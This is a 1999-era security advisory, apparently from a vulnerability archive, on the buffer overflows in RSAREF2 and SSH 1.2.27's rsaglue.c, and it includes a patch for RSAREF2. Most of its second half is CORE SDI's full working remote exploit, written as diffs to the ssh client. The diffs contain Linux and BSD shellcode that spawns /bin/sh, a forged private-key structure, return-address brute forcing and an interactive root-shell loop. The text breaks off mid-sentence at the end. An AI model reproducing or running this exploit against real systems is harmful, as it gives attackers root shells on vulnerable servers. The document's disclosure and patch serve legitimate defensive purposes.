COMMAND
RSAREF2
SYSTEMS AFFECTED
- SSH up to 1.2.27 compiled with RSAREF2 (RSAREF is not compiled
in by default but it's required in some cases in USA)
- Possibly any other software packages that uses RSAREF2
- OpenSSH if you're in US
PROBLEM
Following is based on CORE SDI Security Advisory. While
researching the exploitability of a buffer overflow in SSH up to
version 1.2.27, SDI discovered a second buffer overflow in the
implmementation of the RSA algorithm in RSAREF2 from RSA Data
Security. This advisory addresses the details of the bug
discovered, the details are somewhat focused on the ability to
exploit the bug in SSH compiled with RSAREF2, but its extensible
to any software product that uses RSAREF2.
RSAREF2 API exports 4 functions in rsa.c:
int RSAPublicEncrypt()
int RSAPrivateEncrypt()
int RSAPublicDecrypt()
int RSAPrivateDecrypt()
The 4 functions define a local variable pkcsBlock of fixed length
MAX_RSA_MODULUS_LEN (128 bytes)
In order to perform the RSA operations, the functions call the
internal functions RSAPrivateBlock() and RSAPublicBlock().
RSAPrivateDecrypt() and RSAPublicDecrypt() pass a pointer to the
local variable pkcsBlock to be used as the output buffer for
RSAPublicBlock() and RSAPrivateBlock() respectively. The two
functions then perform the RSA operations and copy the results to
the output buffer using the NN_Encode() and NN_Decode() functions.
Lack of strict bounds checking and proper validation of input
parameters in all these functions allows an attacker to overflow
the pkcsBLock variable and overwrite the stack, making it possible
to execute arbitrary commands on the vulnerable system.
As an axample we will describe the vulnerability focusing on the
decrypt operations performed in RSAREF2 based on the private key.
Such operations are done with the function RSAPrivateDecrypt()
defined as follows in rsa.c:
/* RSA private-key decryption, according to PKCS #1.
*/
int RSAPrivateDecrypt (output, outputLen, input, inputLen, privateKey)
unsigned char *output; /* output
block */
unsigned int *outputLen; /* length of output
block */
unsigned char *input; /* input
block */
unsigned int inputLen; /* length of input
block */
R_RSA_PRIVATE_KEY *privateKey; /* RSA private
key */
{
int status;
unsigned char pkcsBlock[MAX_RSA_MODULUS_LEN];
unsigned int i, modulusLen, pkcsBlockLen;
modulusLen = (privateKey->bits + 7) / 8;
if (inputLen > modulusLen)
return (RE_LEN);
if (status = RSAPrivateBlock
(pkcsBlock, &pkcsBlockLen, input, inputLen, privateKey))
return (status);
...
return (0);
}
Note that inputLen is checked against a transformation of
privateKey's bits field, to satisfy this constrain an attacker
must alter this field in privateKey, but this, almost by miracle
doesn't affect the final result.
Notese que se hace una verificacion sobre la longitud del buffer
de entrada, comparandola con una transformacion del campo bits de
la clave privada (privateKey), para que esta validacion sea
satisfecha es necesario cambiar este campo en privateKey, pero
esto, casi milagrosamente no afecta al resultado de la encripcion.
As we can see, RSAPrivateDecrypt() calls RSAPrivateBlock() passing
pkcsBlock as the output buffer, no length checking is performed
to ensure that pkcsBlock will not be overrun. RSAPrivateBLock()
performs the RSA private key operations ans is define as follows:
/* Raw RSA private-key operation. Output has same length as modulus.
Assumes inputLen < length of modulus.
Requires input < modulus.
*/
static int RSAPrivateBlock (output, outputLen, input, inputLen,
privateKey)
unsigned char *output; /* output
block */
unsigned int *outputLen; /* length of output
block */
unsigned char *input; /* input
block */
unsigned int inputLen; /* length of input
block */
R_RSA_PRIVATE_KEY *privateKey; /* RSA private
key */
{
NN_DIGIT c[MAX_NN_DIGITS], cP[MAX_NN_DIGITS], cQ[MAX_NN_DIGITS],
dP[MAX_NN_DIGITS], dQ[MAX_NN_DIGITS], mP[MAX_NN_DIGITS],
mQ[MAX_NN_DIGITS], n[MAX_NN_DIGITS], p[MAX_NN_DIGITS],
q[MAX_NN_DIGITS],
qInv[MAX_NN_DIGITS], t[MAX_NN_DIGITS];
unsigned int cDigits, nDigits, pDigits;
NN_Decode (c, MAX_NN_DIGITS, input, inputLen);
...
cDigits = NN_Digits (c, MAX_NN_DIGITS);
nDigits = NN_Digits (n, MAX_NN_DIGITS);
pDigits = NN_Digits (p, MAX_NN_DIGITS);
/* Compute mP = cP^dP mod p and mQ = cQ^dQ mod q. (Assumes q has
length at most pDigits, i.e., p > q.)
*/
...
/* Chinese Remainder Theorem:
m = ((((mP - mQ) mod p) * qInv) mod p) * q + mQ.
*/
if (NN_Cmp (mP, mQ, pDigits) >= 0)
NN_Sub (t, mP, mQ, pDigits);
else {
NN_Sub (t, mQ, mP, pDigits);
NN_Sub (t, p, t, pDigits);
}
NN_ModMult (t, t, qInv, p, pDigits);
NN_Mult (t, t, q, pDigits);
NN_Add (t, t, mQ, nDigits);
*outputLen = (privateKey->bits + 7) / 8;
NN_Encode (output, *outputLen, t, nDigits);
...
return (0);
}
RSAPrivateBlock() calls NN_Encode() to encode and copy the results
into the output buffer (a pointer to the pkcsBlock variable in
RSAPublicDecrypt() function), the length of the output buffer is
calculated based on the bits field of the pivateKey structure,
passed originally to RSAPublicDecrypt() and does not take into
account the fixed length characteristics of the output buffer.
The NN_Encode() function is defined as follows:
/* Encodes b into character string a, where character string is ordered
from most to least significant.
Lengths: a[len], b[digits].
Assumes NN_Bits (b, digits) <= 8 * len. (Otherwise most significant
digits are truncated.)
*/
void NN_Encode (a, len, b, digits)
NN_DIGIT *b;
unsigned char *a;
unsigned int digits, len;
{
NN_DIGIT t;
int j;
unsigned int i, u;
for (i = 0, j = len - 1; i < digits && j >= 0; i++) {
t = b[i];
for (u = 0; j >= 0 && u < NN_DIGIT_BITS; j--, u += 8)
a[j] = (unsigned char)(t >> u);
}
for (; j >= 0; j--)
a[j] = 0;
}
NN_Encode() encodes and copies to 'a' (the output buffer,
pkcsBLock) 'digits' bytes of 'b' (the results of the RSA private
key operation) from the end to the start of the buffer, starting
at position 'len', the modulus length of the private key passed
to RSAPrivateDecrypt(). Providing a suitable modulus length to
RSAPrivateDecrypt() it is possible to force NN_Encode() to copy
data beyond the bounds of pkcsBLock and overwrite the return
address of RSAPRivateDecrypt(), gaining control of the processor
and being able to execute code located elsewhere in the
vulnerable program.
The exploitability of this bug in SSH comes from the fact that a
bug in SSH itself discussed and published in the vuln-dev and
bugtraq mailing lists, allows a remote client to provide a
suitable private key to the RSAREF functions. The same problem
is present in the RSAPublicDecrypt() function, and its
exploitability might be even easier, since its much easier to
provide a malicious public key to any software package that
supports RSA and uses the RSAREF2 implementation.
It is possible to execute arbitrary commands as the user that
runs the RSAREF2 code. For SSH up to 1.2.27 compiled with
RSAREF2 this implies the remote execution of arbitrary commands
as root. Attackers can obtain a shell on the machine running
sshd. The exploit uses buffer overflows in the RSAREF2
implementation AND in the rsaglue.c file in ssh-1.2.27. On the
other hand, OpenSSH is not vulnerable to this remote exploit.
Since rsaglue.c was rewritten, OpenSSH does stricter parameter
checking than ssh-1.2.27 and these recent problems in ssh-1.2.27
did NOT affect OpenSSH. Nonetheless, OpenSSH users in the USA
that use OpenSSL compiled with RSAREF2 should update their ssl
library (since isakmpd or httpd may be affected). Another thing
is worth mentioning, RSA could use the buffer overflow in RSAREF2
to scan machines in the USA for RSA license violation. For
example, sshds that do not use RSAREF2 do will behave differently
than those that do.
Ok, here is the exploit for SSH-1.2.27 compiled with RSAREF2 by
Core SDI. It was tested against sshd running on Linux (Redhat
6.0) and OpenBSD 2.6, from a Linux Redhat 6.0 box. Since its a
modified ssh client, they just sent the diffs against an unpatched
ssh-1.2.27 distribution (see below). As noted before there are
TWO buffer overflows. The first is in the SSH distributed file
rsaglue.c the second is in the rsa.c file that is part of the
RSAREF2 distribution. Lets look at the buffer overflow in
RSAPrivateDecrypt in rsa.c from rsaref2/sources:
/*
* RSA private-key decryption, according to PKCS #1.
*/
int RSAPrivateDecrypt (output, outputLen, input, inputLen, privateKey)
unsigned char *output; /* output
block */
unsigned int *outputLen; /* length of output
block */
unsigned char *input; /* input
block */
unsigned int inputLen; /* length of input
block */
R_RSA_PRIVATE_KEY *privateKey; /* RSA private
key */
{
int status;
unsigned char pkcsBlock[MAX_RSA_MODULUS_LEN];
unsigned int i, modulusLen, pkcsBlockLen;
modulusLen = (privateKey->bits + 7) / 8;
if (inputLen > modulusLen)
return (RE_LEN);
.if (status = RSAPrivateBlock
(pkcsBlock, &pkcsBlockLen, input, inputLen, privateKey))
...
There is a straight forward buffer overflow of pkcsBlock in
RSAPrivateBlock, however, in order to exploit it we need to pass
the (inputLen > modulusLen) check. Since input is the length of
the evil packet sent by the client containing the shell code and
of course enough data to exploit the overflow, its length is
greater than the modulusLen of a standard RSA key, thus the check
fails. We need then to provide our own privateKey with a large
enough modulusLen (privateKey->bits) To do so, we exploit the
buffer overflow in rsaglue.c:
* Performs a private key decrypt operation. */
void rsa_private_decrypt(MP_INT *output, MP_INT *input, RSAPrivateKey
*key)
{
unsigned char input_data[MAX_RSA_MODULUS_LEN];
unsigned char output_data[MAX_RSA_MODULUS_LEN];
unsigned int input_len, output_len, input_bits;
R_RSA_PRIVATE_KEY private_key;
if (key->bits > MAX_RSA_MODULUS_BITS)
fatal("RSA key has too many bits for RSAREF to handle (max %d).",
MAX_RSA_MODULUS_BITS);
input_bits = mpz_sizeinbase(input, 2);
input_len = (input_bits + 7) / 8;
gmp_to_rsaref(input_data, input_len, input);
rsaref_private_key(&private_key, key);
if (RSAPrivateDecrypt(output_data, &output_len, input_data, input_len,
&private_key) != 0)
fatal("RSAPrivateDecrypt failed");
....
The overflow here is in gmp_to_rsaref(), we use it to modify the
*key variable (an argument present in the stack on intel
architectures, this is important since it wont be the same in
other architectures, i.e. sparc) to point to a private key that
we send. rsaref_private_key() copies that key to private_key and
then calls RSAPrivateDecrypt with our bogus key, the second
overflow (rsaref2's) is then exploited. There are several other
constraints (check rsa.c:RSAPrivateBlock() and nn.c:NN_Encode()
in rsaref2/sources if you are really interested) that forced us
to send a bogus private key in a different packet, this packet
gets stored in a global buffer that sshd uses to receive data
from the network. The overall result is that RSAPrivateBlock()
called from RSAPrivateDecrypt() returns to the portion of the
global buffer that sshd uses to store our packet, the shell code
is stored there.
The bogus privateKey we send is generated with ssh-keygen, then at
runtime, its loaded and several values are modified (once again,
for the really interested check that we set among other things
myfakeKey.bits to 1182 and myfakeKey.d to 1). The exploit is
more or less "script-kid-proof" since if it doesnt work a bit of
debugging, coding and probably crypto skills are needed to make
it work.
CORE SDI didn't include exploit_key. That's right, not a big
issue, just create a public/private key pairs using ssh_keygen
and rename the private key to exploit_key. Put the key in the
current directory you are running the exploit, and remember to
set the correct file permisions (and owner). Also, there's
another thing you have to make to compile the exploit. After
running configure, edit the Makefile and add -DSSH_EXPLOIT to the
CFLAGS.
SOLUTION
RSA Security was contacted and replied that they don't support
RSAREF2 anymore. For futher details you may contact John Linn
(jlinn@rsasecurity.com). A patch is provided below, please read
carefully the file license.txt from the RSAREF2 distribution
before applying it. Copy remaining of this advisory to a file
named rsaref.patch in rsaref2/source, and apply with
patch < rsaref.patch
*** rsa.original.c Fri Mar 26 14:01:48 1994
--- rsa.c Fri Dec 10 12:56:34 1999
***************
*** 33,38 ****
--- 33,41 ----
unsigned char byte, pkcsBlock[MAX_RSA_MODULUS_LEN];
unsigned int i, modulusLen;
+ if (publicKey->bits > MAX_RSA_MODULUS_BITS)
+ return (RE_LEN);
+
modulusLen = (publicKey->bits + 7) / 8;
if (inputLen + 11 > modulusLen)
return (RE_LEN);
***************
*** 78,83 ****
--- 81,89 ----
unsigned char pkcsBlock[MAX_RSA_MODULUS_LEN];
unsigned int i, modulusLen, pkcsBlockLen;
+ if (publicKey->bits > MAX_RSA_MODULUS_BITS)
+ return (RE_LEN);
+
modulusLen = (publicKey->bits + 7) / 8;
if (inputLen > modulusLen)
return (RE_LEN);
***************
*** 128,133 ****
--- 134,142 ----
int status;
unsigned char pkcsBlock[MAX_RSA_MODULUS_LEN];
unsigned int i, modulusLen;
+
+ if (privateKey->bits > MAX_RSA_MODULUS_BITS)
+ return (RE_LEN);
modulusLen = (privateKey->bits + 7) / 8;
if (inputLen + 11 > modulusLen)
***************
*** 168,173 ****
--- 177,185 ----
unsigned char pkcsBlock[MAX_RSA_MODULUS_LEN];
unsigned int i, modulusLen, pkcsBlockLen;
+ if (privateKey->bits > MAX_RSA_MODULUS_BITS)
+ return (RE_LEN);
+
modulusLen = (privateKey->bits + 7) / 8;
if (inputLen > modulusLen)
return (RE_LEN);
Here are diffs by CORE SDI:
diff -N -c ssh-1.2.27/README.coresdi ssh-1.2.27-exploit/README.coresdi
*** ssh-1.2.27/README.coresdi Wed Dec 31 21:00:00 1969
--- ssh-1.2.27-exploit/README.coresdi Tue Dec 14 19:21:10 1999
***************
*** 0 ****
--- 1,32 ----
+ /*
+ *
+ * Descrition: Exploit code for SSH-1.2.27 sshd with rsaref2 compiled in
+ * (--with-rsaref)
+ *
+ * Author: Alberto Solino <Alberto_Solino@core-sdi.com>
+ *
+ * Copyright (c) 1999 CORE SDI S.A., Buenos Aires, Argentina.
+ * All rights reserved.
+ *
+ *
+ * THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES
+ * ARE DISCLAIMED. IN NO EVENT SHALL CORE SDI S.A. BE LIABLE FOR ANY DIRECT,
+ * INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY OR CONSEQUENTIAL DAMAGES RESULTING
+ * FROM THE USE OR MISUSE OF THIS SOFTWARE.
+ *
+ */
+
+ Tested on
+ SSH-1.2.27 Linux RedHat 6.0
+ SSh-1.2.27 OpenBSD 2.6
+
+ Details
+ Relies on offsets taken from JUMP_TO_MY_KEY that are different on
+ different boxes.
+ If it doesnt work, check inside incoming.buf for the string "BETO"
+ and find the proper offsets from there.
+ Additionally, the -f nad -t options are available, to provide
+ a range of addresses and try to brute force remotely the right
+ one.
+ Specify the target os type with -o
+
Binary files ssh-1.2.27/exploit_key and ssh-1.2.27-exploit/exploit_key differ
diff -N -c ssh-1.2.27/exploit_key.pub ssh-1.2.27-exploit/exploit_key.pub
*** ssh-1.2.27/exploit_key.pub Wed Dec 31 21:00:00 1969
--- ssh-1.2.27-exploit/exploit_key.pub Tue Nov 30 01:14:10 1999
***************
*** 0 ****
--- 1 ----
+ 1024 35 12671179095903471744990435410317410546442390575091173840031540790075294607198877353267235692230668768519142460680695294766086791176069794251459495621399058485699167839835302669268143013627485340282918380338379136159878818712027630563083736678750
7026341329913385926890796258293060370046555624537870005279144741 root@jack
Common subdirectories: ssh-1.2.27/gmp-2.0.2-ssh-2 and ssh-1.2.27-exploit/gmp-2.0.2-ssh-2
diff -N -c ssh-1.2.27/history ssh-1.2.27-exploit/history
*** ssh-1.2.27/history Wed Dec 31 21:00:00 1969
--- ssh-1.2.27-exploit/history Tue Nov 16 21:41:36 1999
***************
*** 0 ****
--- 1,7 ----
+ Tue Nov 16 19:58:04 ART 1999
+ En RSAPrivateBlock, no calcula la longitud de salida del buffer, simplemente copia
+ el tamanio del modulo que esta en privatekey, pero la longitud de los numeros
+ nunca es mayor que 128.
+ Tue Nov 16 21:41:15 ART 1999
+ overflow en RSAPrivateDecrypt????!?!?!??!?!?! who knows!! fijarse...
+
Common subdirectories: ssh-1.2.27/rsaref2 and ssh-1.2.27-exploit/rsaref2
diff -N -c ssh-1.2.27/ssh.c ssh-1.2.27-exploit/ssh.c
*** ssh-1.2.27/ssh.c Wed May 12 08:19:28 1999
--- ssh-1.2.27-exploit/ssh.c Tue Dec 14 19:03:59 1999
***************
*** 202,208 ****
#include "readconf.h"
#include "userfile.h"
#include "emulate.h"
-
#ifdef LIBWRAP
#include <tcpd.h>
#include <syslog.h>
--- 202,207 ----
***************
*** 212,217 ****
--- 211,249 ----
int allow_severity = LOG_INFO;
int deny_severity = LOG_WARNING;
#endif /* LIBWRAP */
+ #ifdef SSH_EXPLOIT
+ #define BETO_STR 0x80850f8
+ unsigned long exp_offset=BETO_STR;
+ unsigned long exp_offset_to=BETO_STR;
+ unsigned char *shell_code;
+ unsigned long shell_code_len=0;
+ unsigned char linux_shell_code[]=
+ {0x90 ,0x90 ,0x90 ,0x90 ,0x90 ,0x90 ,0x90 ,0x90
+ ,0xeb ,0x44 ,0x5e ,0x89 ,0x76
+ ,0x08 ,0x31 ,0xc0 ,0x88 ,0x46 ,0x07 ,0x89 ,0x46
+ ,0x0c ,0x56 ,0xb9 ,0x00 ,0x00 ,0x00 ,0x00 ,0xbb
+ ,0x05 ,0x00 ,0x00 ,0x00 ,0xb0 ,0x3f ,0xcd ,0x80
+ ,0xb9 ,0x01 ,0x00 ,0x00 ,0x00 ,0xbb ,0x05 ,0x00
+ ,0x00 ,0x00 ,0xb0 ,0x3f ,0xcd ,0x80 ,0xb9 ,0x02
+ ,0x00 ,0x00 ,0x00 ,0xbb ,0x05 ,0x00 ,0x00 ,0x00
+ ,0xb0 ,0x3f ,0xcd ,0x80 ,0x5e ,0xb0 ,0x0b ,0x89
+ ,0xf3 ,0x8d ,0x4e ,0x08 ,0x8d ,0x56 ,0x0c ,0xcd
+ ,0x80 ,0xe8 ,0xb7 ,0xff ,0xff ,0xff ,0x2f ,0x62
+ ,0x69 ,0x6e ,0x2f ,0x73 ,0x68 ,0x00};
+ unsigned char bsd_shell_code[]=
+ {0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
+ 0xeb, 0x45, 0x5e, 0x89, 0x76, 0x08, 0x31, 0xc0,
+ 0x88, 0x46, 0x07, 0x89, 0x46, 0x0c, 0x6a, 0x00,
+ 0x6a, 0x05, 0x51, 0xb8, 0x5a, 0x00, 0x00, 0x00,
+ 0xcd, 0x80, 0x6a, 0x01, 0x6a, 0x05, 0x51, 0xb8,
+ 0x5a, 0x00, 0x00, 0x00, 0xcd, 0x80, 0x6a, 0x02,
+ 0x6a, 0x05, 0x51, 0xb8, 0x5a, 0x00, 0x00, 0x00,
+ 0xcd, 0x80, 0x6a, 0x00, 0x8d, 0x46, 0x08, 0x50,
+ 0x8b, 0x46, 0x08, 0x50, 0xb8, 0x3b, 0x00, 0x00,
+ 0x00, 0x31, 0xc9, 0x41, 0x51, 0xcd, 0x80, 0xe8,
+ 0xb6, 0xff, 0xff, 0xff, 0x2f, 0x62, 0x69, 0x6e,
+ 0x2f, 0x73, 0x68, 0x00};
+ #endif
/* Random number generator state. This is initialized in ssh_login, and
left initialized. This is used both by the packet module and by various
***************
*** 275,280 ****
--- 307,322 ----
/* Prints a help message to the user. This function never returns. */
void usage(void)
{
+ #ifdef SSH_EXPLOIT
+ fprintf(stderr, "ssh/rsaref2 exploit by Core SDI SA (c) 1999\n");
+ fprintf(stderr, "Usage:\n\t%s [-f offset_from] [-t offset_to] -o ostype host\n",av0);
+ fprintf(stderr, "where:\n");
+ fprintf(stderr, "\toffset_from: start offset for brute force\n");
+ fprintf(stderr, "\toffset_to: end offset for brute force\n");
+ fprintf(stderr, "\tostype: remote machine ostype\n");
+ fprintf(stderr, " BSD : for (*BSD)\n");
+ fprintf(stderr, " Linux : for Intel Linuxes\n\n");
+ #else
fprintf(stderr, "Usage: %s [options] host [command]\n", av0);
fprintf(stderr, "Options:\n");
fprintf(stderr, " -l user Log in using this user name.\n");
***************
*** 321,326 ****
--- 363,369 ----
fprintf(stderr, " -C Enable compression.\n");
fprintf(stderr, " -g Allow remote hosts to connect to local port forwardings\n");
fprintf(stderr, " -o 'option' Process the option as if it was read from a configuration file.\n");
+ #endif
exit(1);
}
***************
*** 504,510 ****
--- 547,557 ----
opt = av[optind][1];
if (!opt)
usage();
+ #ifdef SSH_EXPLOIT
+ if (strchr("fto", opt)) /* options with arguments */
+ #else
if (strchr("eilcpLRo", opt)) /* options with arguments */
+ #endif
{
optarg = av[optind] + 2;
if (strcmp(optarg, "") == 0)
***************
*** 522,527 ****
--- 569,594 ----
}
switch (opt)
{
+ #ifdef SSH_EXPLOIT
+ case 'f':
+ exp_offset = strtoul(optarg,NULL,16);
+ break;
+ case 't':
+ exp_offset_to = strtoul(optarg,NULL,16);
+ break;
+ case 'o':
+ if ( !strcmp(optarg,"BSD") ) {
+ shell_code = bsd_shell_code;
+ shell_code_len = sizeof(bsd_shell_code);
+ }
+ else if ( !strcmp(optarg,"Linux") ) {
+ shell_code = linux_shell_code;
+ shell_code_len = sizeof(linux_shell_code);
+ }
+ else
+ usage();
+ break;
+ #else
case 'n':
stdin_null_flag = 1;
break;
***************
*** 681,692 ****
case 'g':
options.gateway_ports = 1;
break;
!
default:
usage();
}
}
!
/* Check that we got a host name. */
if (!host)
usage();
--- 748,766 ----
case 'g':
options.gateway_ports = 1;
break;
! #endif
default:
usage();
}
}
! #ifdef SSH_EXPLOIT
! if ( shell_code == NULL )
! usage();
! if ( exp_offset_to < exp_offset ) {
! fprintf(stderr,"Invalid offsets!\n");
! usage();
! }
! #endif
/* Check that we got a host name. */
if (!host)
usage();
***************
*** 793,798 ****
--- 867,876 ----
rhosts_authentication is true. Note that the random_state is not
yet used by this call, although a pointer to it is stored, and thus it
need not be initialized. */
+ #ifdef SSH_EXPLOIT
+ do
+ {
+ #endif
ok = ssh_connect(host, options.port, options.connection_attempts,
!use_privileged_port,
original_real_uid, options.proxy_command, &random_state);
***************
*** 846,857 ****
original_real_uid);
options.user_hostfile = tilde_expand_filename(options.user_hostfile,
original_real_uid);
!
/* Log into the remote system. This never returns if the login fails.
Note: this initializes the random state, and leaves it initialized. */
ssh_login(&random_state, host_private_key_loaded, &host_private_key,
host, &options, original_real_uid);
!
/* We no longer need the host private key. Clear it now. */
if (host_private_key_loaded)
rsa_clear_private_key(&host_private_key);
--- 924,941 ----
original_real_uid);
options.user_hostfile = tilde_expand_filename(options.user_hostfile,
original_real_uid);
! #ifdef SSH_EXPLOIT
! fprintf(stdout,"Tryin'... 0x%x\n",exp_offset);
! #endif
/* Log into the remote system. This never returns if the login fails.
Note: this initializes the random state, and leaves it initialized. */
ssh_login(&random_state, host_private_key_loaded, &host_private_key,
host, &options, original_real_uid);
! #ifdef SSH_EXPLOIT
! exp_offset++;
! } while (exp_offset<=exp_offset_to);
! fprintf(stderr,"Didn't work ;( \n");
! #endif
/* We no longer need the host private key. Clear it now. */
if (host_private_key_loaded)
rsa_clear_private_key(&host_private_key);
diff -N -c ssh-1.2.27/sshconnect.c ssh-1.2.27-exploit/sshconnect.c
*** ssh-1.2.27/sshconnect.c Wed May 12 08:19:29 1999
--- ssh-1.2.27-exploit/sshconnect.c Thu Dec 9 17:09:39 1999
***************
*** 214,220 ****
#include "mpaux.h"
#include "userfile.h"
#include "emulate.h"
-
#ifdef KERBEROS
#ifdef KRB5
#include <krb5.h>
--- 214,219 ----
***************
*** 1271,1276 ****
--- 1270,1280 ----
const char *orighost,
Options *options, uid_t original_real_uid)
{
+ #ifdef SSH_EXPLOIT
+ extern unsigned long exp_offset;
+ extern unsigned char *shell_code;
+ extern unsigned long shell_code_len;
+ #endif
int i, type, len, f;
char buf[1024], seedbuf[16];
char *password;
***************
*** 1278,1283 ****
--- 1282,1298 ----
MP_INT key;
RSAPublicKey host_key;
RSAPublicKey public_key;
+ #ifdef SSH_EXPLOIT
+ MP_INT fakekey;
+ int retval;
+ unsigned char first;
+ struct sockaddr_in sin;
+ int sin_len=sizeof(struct sockaddr_in);
+ RSAPrivateKey myfakeKey;
+ RSAPrivateKey myPrivateKey;
+ char private_key_filename[]="exploit_key";
+ fd_set rfds;
+ #endif
unsigned char session_key[SSH_SESSION_KEY_LENGTH];
const char *server_user, *local_user;
char *cp, *host;
***************
*** 1501,1506 ****
--- 1516,1522 ----
/* Generate an encryption key for the session. The key is a 256 bit
random number, interpreted as a 32-byte key, with the least significant
8 bits being the first byte of the key. */
+
for (i = 0; i < SSH_SESSION_KEY_LENGTH; i++)
session_key[i] = random_get_byte(state);
***************
*** 1519,1532 ****
else
mpz_add_ui(&key, &key, session_key[i]);
}
!
/* Encrypt the integer using the public key and host key of the server
(key with smaller modulus first). */
if (mpz_cmp(&public_key.n, &host_key.n) < 0)
{
/* Public key has smaller modulus. */
assert(host_key.bits >= public_key.bits + SSH_KEY_BITS_RESERVED);
-
rsa_public_encrypt(&key, &key, &public_key, state);
rsa_public_encrypt(&key, &key, &host_key, state);
}
--- 1535,1552 ----
else
mpz_add_ui(&key, &key, session_key[i]);
}
! #ifdef SSH_EXPLOIT
! if ( load_private_key(getuid(),private_key_filename,"",&myPrivateKey,NULL)==0) {
! fprintf(stderr,"Cannot locate private key %s\n",private_key_filename);
! exit(1);
! }
! #endif
/* Encrypt the integer using the public key and host key of the server
(key with smaller modulus first). */
if (mpz_cmp(&public_key.n, &host_key.n) < 0)
{
/* Public key has smaller modulus. */
assert(host_key.bits >= public_key.bits + SSH_KEY_BITS_RESERVED);
rsa_public_encrypt(&key, &key, &public_key, state);
rsa_public_encrypt(&key, &key, &host_key, state);
}
***************
*** 1534,1540 ****
{
/* Host key has smaller modulus (or they are equal). */
assert(public_key.bits >= host_key.bits + SSH_KEY_BITS_RESERVED);
-
rsa_public_encrypt(&key, &key, &host_key, state);
rsa_public_encrypt(&key, &key, &public_key, state);
}
--- 1554,1559 ----
***************
*** 1564,1569 ****
--- 1583,1637 ----
for (i = 0; i < 8; i++)
packet_put_char(check_bytes[i]);
+ #ifdef SSH_EXPLOIT
+ for ( i = 0 ; i < 16; i++ ) {
+ mpz_mul_2exp(&key, &key, 8);
+ mpz_add_ui(&key, &key, i+1);
+ }
+ /* Aca seto el lugar donde va a estar la clave nueva cambiada*/
+ for ( i = 0; i < 4 ; i++ ) {
+ mpz_mul_2exp(&key,&key,8);
+ mpz_add_ui(&key,&key, ((exp_offset+9) >> (i*8) & 0xff));
+ }
+
+ /* Con esto fuerzo a que el ciphertext sea mas chico que el modulo*/
+ key._mp_d[31]=0;
+ key._mp_d[32]=0;
+ key._mp_d[3]=htonl(exp_offset+0x5b);
+ /* Ret address a mi codigo */
+ //key._mp_d[3]=0x51510808; // JUMP_TO_MY_KEY+87 dado vuelta
+ /*
+ No se porque mierda ahora hay que invertilo...
+ key._mp_d[3]=JUMP_TO_MY_KEY+80;
+ */
+
+ myfakeKey.bits = 1182; /* Tamanio de la clave */
+ myfakeKey.n._mp_alloc = 33;
+ myfakeKey.n._mp_size = 32;
+ myfakeKey.n._mp_d = (unsigned long int *)(exp_offset+184);
+
+ myfakeKey.e._mp_alloc = 1;
+ myfakeKey.e._mp_size = 1;
+ myfakeKey.e._mp_d = (unsigned long int *)(exp_offset+316);
+
+ myfakeKey.d._mp_alloc = 1;
+ myfakeKey.d._mp_size = 1;
+ myfakeKey.d._mp_d = (unsigned long int *)(exp_offset+25);
+
+ myfakeKey.u._mp_alloc = 17;
+ myfakeKey.u._mp_size = 16;
+ myfakeKey.u._mp_d = (unsigned long int *)(exp_offset+460);
+
+ myfakeKey.p._mp_alloc = 17;
+ myfakeKey.p._mp_size = 16;
+ myfakeKey.p._mp_d = (unsigned long int *)(exp_offset+392);
+
+ myfakeKey.q._mp_alloc = 17;
+ myfakeKey.q._mp_size = 16;
+ myfakeKey.q._mp_d = (unsigned long int *)(exp_offset+324);
+
+ #endif
+
/* Send the encrypted encryption key. */
packet_put_mp_int(&key);
***************
*** 1571,1579 ****
--- 1639,1686 ----
packet_put_int(SSH_PROTOFLAG_SCREEN_NUMBER | SSH_PROTOFLAG_HOST_IN_FWD_OPEN);
/* Send the packet now. */
+ #ifdef SSH_EXPLOIT
+ packet_put_string("BETO",4);
+ packet_put_string((char *)&myfakeKey,sizeof(myfakeKey));
+ packet_put_string(shell_code, shell_code_len);
+ packet_put_string((char *)myPrivateKey.n._mp_d,myPrivateKey.n._mp_size*4);
+ packet_put_string((char *)myPrivateKey.e._mp_d,myPrivateKey.e._mp_size*4);
+ packet_put_string((char *)myPrivateKey.q._mp_d,myPrivateKey.q._mp_size*4);
+ packet_put_string((char *)myPrivateKey.p._mp_d,myPrivateKey.p._mp_size*4);
+ packet_put_string((char *)myPrivateKey.u._mp_d,myPrivateKey.u._mp_size*4);
+ #endif
packet_send();
packet_write_wait();
+ #ifdef SSH_EXPLOIT
+ usleep(10);
+ first = 1;
+ i = write(packet_get_connection_in(),"id\n",3);
+ if ( getpeername(packet_get_connection_in(),(struct sockaddr *)&sin, &sin_len) == -1)
+ return;
+
+ while (1) {
+ FD_ZERO(&rfds);
+ FD_SET(packet_get_connection_in(),&rfds);
+ FD_SET(STDIN_FILENO,&rfds);
+ if ( (retval = select(packet_get_connection_in()+1,&rfds,NULL,NULL,NULL)) < 0 )
+ return;
+ if (FD_ISSET(STDIN_FILENO,&rfds)) {
+ i=read(STDIN_FILENO,buf,sizeof(buf));
+ write(packet_get_connection_out(),buf,i);
+ } else if (FD_ISSET(packet_get_connection_in(),&rfds)) {
+ i=read(packet_get_connection_in(),buf,sizeof(buf));
+ if ( first )
+ if ( strncmp(buf,"uid",3) )
+ return;
+ else {
+ fprintf(stdout,"Got it!\n");
+ first = 0;
+ }
+ write(STDOUT_FILENO,buf,i);
+ }
+ }
+ #endif
/* Destroy the session key integer and the public keys since we no longer
need them. */
mpz_clear(&key);
***************
*** 1583,1588 ****
--- 1690,1697 ----
debug("Sent encrypted session key.");
/* Set the encryption key. */
+ packet_set_encryption_key(session_key, SSH_SESSION_KEY_LENGTH+120,
+ options->cipher, 1);
packet_set_encryption_key(session_key, SSH_SESSION_KEY_LENGTH,
options->cipher, 1);
OpenBSD ships with applications using public key cryptography.
Because OpenBSD are trying to make release CDROMs for the entire
world, they cannot put RSA onto the CD. Instead, they've made it
so that the RSA patented code stays in a package containing some
shared libraries, and our installation software installs this
package from over the 'net. Each package contains two shared
libraries: libcrypto and libssl; just like regular OpenSSL.
People outside the USA can use these two libraries, found in the
"ssl26" package. Non-commercial entities in the USA cannot --
because of the patent issue -- and for them OpenBSD provides the
"sslUSA26" package. The "sslUSA26" package is OpenSSL, like the
other package, but OpenBSD removed the OpenSSL RSA code and
replaced it with RSAREF2. This permits the non-commercial use of
"sslUSA26" inside the USA. Well, all this just really means that
"sslUSA26" contains the problem found by CORE-SDI (openssh,
isakmpd, httpd). You can find out which ssl libraries you are
using by doing:
